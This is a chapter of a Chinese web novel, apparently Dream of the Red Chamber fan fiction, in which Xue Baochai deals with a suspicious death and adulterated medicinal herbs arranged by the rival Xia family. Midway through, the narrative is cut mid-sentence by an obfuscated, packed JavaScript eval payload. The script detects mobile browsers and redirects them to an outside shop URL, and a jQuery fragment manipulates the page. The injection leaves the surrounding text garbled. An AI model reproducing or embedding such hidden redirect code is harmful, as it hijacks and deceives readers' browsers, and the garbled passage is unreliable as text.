冰片……宝钗心头莫名一跳。


    她记得，昨夜李钦差暴毙，隐约听衙门口的人议论症状，有“口鼻出血、高热惊厥”之语。


    寻常急症似乎……


    “李钦差暴毙，衙门里可有什么说法？仵作验了么？”宝钗问。


    老赵摇头：“说是突发心疾。但小人有个远房侄子在驿馆当差，偷偷传话说，李大人死状颇惨，七窍都渗血，不似寻常心疾。只是上头压着，不让多嘴。”


    “还有件怪事，李大人出事前，夏家的大管家去过驿馆，说是送些本地特产给大人尝鲜，待了不到一刻钟就走了。”


    夏家、送特产、李钦差诡异暴毙……


    宝钗的脊背微微发凉。


    如果李钦差的死不是意外，如果夏家牵扯其中，那他们所图恐怕就不只是打压薛家生意那么简单了。


    扣下薛家样品，或许不止是为了拖延，还可能是为了调包？或者掩盖什么？


    比如，将包装成有问题的东西，混入薛家送审的样品中？一旦在新钦差面前暴露，那薛家就不仅是失去资格，更可能招来灭顶之灾。


    而李钦差，会不会是因为察觉了什么，才被灭口？


    宝钗的声音冷静得可怕，“老赵，立刻去办两件事。第一，想办法，不惜代价，把被夏家扣下的样品，尤其是那罐冰片，拿回来！拿不回来，也要确认它们现在到底在哪儿，是否被动过手脚。”


    “第二，悄悄去查，夏家最近除了打压我们，和驿馆、还有其他准备参选的商号，有没有异常接触，特别是关于药材样品方面的。”


    老赵神色一凛：“姑娘是怀疑……”


    宝钗打断他，没有解释，“快去，记住，要隐秘。”


    老赵连忙点头，匆匆离去。


    书房里只剩下宝钗一人。她走到窗边，心乱如麻。


    夏家你们究竟想干什么？


    难道做不成亲家就做对家吗？


    *


    老赵回来得很快，带回了不太乐观的消息。


    “姑娘，驿馆那边现在乱成一团，李钦差的尸首已被府衙接管，所有遴选相关事务一律暂停，封存待查。咱们被夏家扣下的样品，还有各家已送达的部分样品，都一并封在驿馆的临时库房里，由府衙的人看着，拿不出来了。”


    老赵脸色难看，“夏家扣东西的借口如今倒成了配合官府调查，咱们明面上还发作不得。”


    宝钗面色沉静，样品暂时拿不回，夏家与官府勾连似乎更深了，局面比她预想的更被动。


    但坐以待毙绝非她的风格。


    宝钗果断道，“样品的事暂且放下，盯紧府衙和夏家动向即可。遴选延期，对我们未必全是坏事，至少有了周旋的时间。眼下更要紧的，是稳住自家的生意根本。”


    她话音未落，前堂掌柜急匆匆跑来，额上见汗：“姑娘，不好了！东街庆安堂的胡掌柜带着几个伙计，抬着两匣药材，说是要退货，在门口闹起来了！”


    “口口声声说咱们上次供给他们的百年老参和川贝母以次充好，害得他们药堂声誉受损，还要咱们赔偿。”


    老赵一惊：“庆安堂？那不是咱们的老主顾吗？合作多年，从未出过岔子。供给他们的货，都是库里上好的，跟准备送审的样品是同一批来源。”


    宝钗眼神一凝。


    来了。夏家的手段，不止扣压样品那么简单。从货源上败坏薛家信誉，釜底抽薪，这才是狠招。


    “走，去看看。”宝钗起身，步履平稳地向前堂走去。


    前堂里，庆安堂的胡掌柜将两匣药材重重顿在柜台上，脸色铁青，声音气得发抖：


    “薛大姑娘，咱们合作十几年了，这次你们薛家实在太过分了。”


    他唰地抖开一张提货单，上面的薛家印鉴清晰无误：“这是上月十五，从你们总号亲自提的货。白纸黑字，百年老参二十支，上等川贝五斤。”


    他一把掀开锦匣，“你们自己看看，这参，干瘪发黑，芦碗都数不清楚，哪有一点百年气象？这川贝，颗粒小不说，颜色发暗，还有股子陈腐气。”


    “我庆安堂百年招牌，差点就毁在你们这批药上！幸亏老师傅开药前发现不对，否则出了事，谁担得起？”


    锦匣里的药材，问题肉眼可见。围观的人群发出嗡嗡的议论声。


    宝钗快步走到近前，拿起那支所谓的老参，仔细看了看断面纹理，又拈起几粒川贝凑近鼻尖闻了闻。


    她的心渐渐沉了下去。


    这确实是次品，而且，看处理手法和药材成色，极有可能真是从薛家某个环节流出去的次品。


    宝钗放下药材，“胡掌柜息怒。货单确是我薛家的印鉴，这一点我不否认。庆安堂是老主顾，我们绝不会故意以次充好，自毁长城。此事蹊跷，请容我立即彻查。”


    她转身，对掌柜吩咐：“第一，立刻封存库房里所有同批次的参和川贝，彻查入库、质检、分装、出库所有记录，每一道经手人都要问话！”


    “第二，拿我的帖子，去请仁济堂刘老掌柜和药材行的孙理事过来，当场公验，看看这批货问题究竟出在哪儿，是我们保管不善，还是源头有差，或是其他原因。”


    她又看向胡掌柜，诚恳道：“胡掌柜，若查实确是我薛家之过，该赔该罚，我薛宝钗绝无二话，并会亲自登门致歉。眼下还请掌柜稍候片刻，给我薛家一个查明原委的机会。”


    宝钗的应对迅速果断，不推诿，不狡辩，态度摆得端正。


    胡掌柜见她如此，怒气稍平，冷哼一声坐了下来：“好，我就看薛大姑娘如何给我交代。”


    查验过程紧张而漫长。


    库房封存后，搬出了预留的同批次样品。刘老掌柜和孙理事仔细比对，又查验了薛家的进货渠道凭证。


    半个时辰后，结论出来：问题出在货源上。


    薛家这批百年老参和上等川贝，大约有三成左右，被掺入了品质明显低一档的同类药材，若非行家仔细甄别，极易蒙混过关。


    薛家自己，不知是疏忽还是被人做了手脚，竟然未能检出。


    刘老掌柜捻着胡须，低声道，“薛姑娘，这批掺次货的手艺不一般，掺得巧，若不是庆安堂的老师傅眼毒，寻常药铺用出去，短期内未必会发觉。但长此以往，你家招牌可就……”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108518|192896||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>他摇摇头。


    宝钗脸色微微发白。


    这是从供应链源头就被人动了手脚。


    能把手伸进薛家进货渠道……内鬼不止一个，而且位置不低。


    “查！所有经手这批货的采办、库管……一个不许离开，分开问话！”


    她深吸一口气，走到胡掌柜面前，深深一福：“胡掌柜，查验已毕，确是我薛家货源把控不严，混入了次品。宝钗监管不力，在此向您赔罪。”


    “庆安堂此次所有损失，我薛家十倍赔偿。这批问题药材，我已经派人全部收回销毁。此外，为表歉意，庆安堂日后从我薛家进购此类药材，一律按进价再让利一成，持续一年。您看如此可好？”


    十倍赔偿，让利一年。


    围观众人倒吸一口凉气。


    薛家这次是大出血了。


    胡掌柜脸色稍霁，薛家的态度和赔偿力度无可挑剔，他也不好再咄咄逼人：“罢了，薛大姑娘既然说到这个份上，我老胡也不是不讲理的人。只是，贵号日后还需严加管控才是。”


    送走胡掌柜，处理完赔偿事宜，宝钗回到后堂，只觉得一阵眩晕，扶住了桌沿。


    “姑娘！”莺儿忙扶她坐下。


    老赵在一旁，脸色灰败：“姑娘，十倍赔偿加上后续让利，还有召回销毁的损失……账房刚粗略算过，现银立刻就要出去一大笔。”


    “咱们各地分号这个月的货款还没收齐，下月又有几家到期的借贷要还，加上为了遴选准备样品、打点关系，账上……账上已经快转不动了。夏家这时候若再鼓动几家来闹……”


    资金链紧绷，甚至可能断裂。


    这才是夏家真正的杀招！


    用掺次货这种阴毒手段，引发大额赔偿和信誉危机，直接掐断薛家的现金流。


    没有钱，莫说参加遴选，连维持日常运转都难。


    宝钗轻叹一声。


    难道真的要变卖产业，催收账款，寻求借贷……


    可每一步都可能暴露薛家的虚弱，引来更多觊觎。


    但宝钗没得选择。


    夏家这一击，又狠又准。


    *


    夏金桂斜倚在铺着锦垫的贵妃榻上，心花怒放地拨弄着鎏金护甲。


    她刚听完心腹婆子的回报，嘴角噙着一丝快意又阴冷的笑容。


    “哦？薛家这么快就撑不住，开始卖田庄铺面了？我那好姑奶奶和那假清高的宝丫头，如今怕是急得跳脚了吧？”


    “可不是么，奶奶。”婆子赔着笑，“听说薛大姑娘亲自出面，约见了好几位钱庄的掌柜，怕是急着找钱填窟窿呢。庆安堂那事儿办得漂亮，十倍赔偿，啧啧，薛家这次可是伤筋动骨了。”


    夏金桂冷哼一声：“伤筋动骨？我要的是他们薛家彻底垮台！薛蟠那个没用的废物，还有那个装模作样的薛宝钗，凭什么踩在我头上？”


    她想起在薛家受的委屈。


    婆婆偏心，小姑精明处处压她一头，薛蟠又是个扶不上墙的烂泥。


    她夏金桂从小到大何曾受过这种气？


    和离？那是她不要薛家了！可这口气，她咽不下。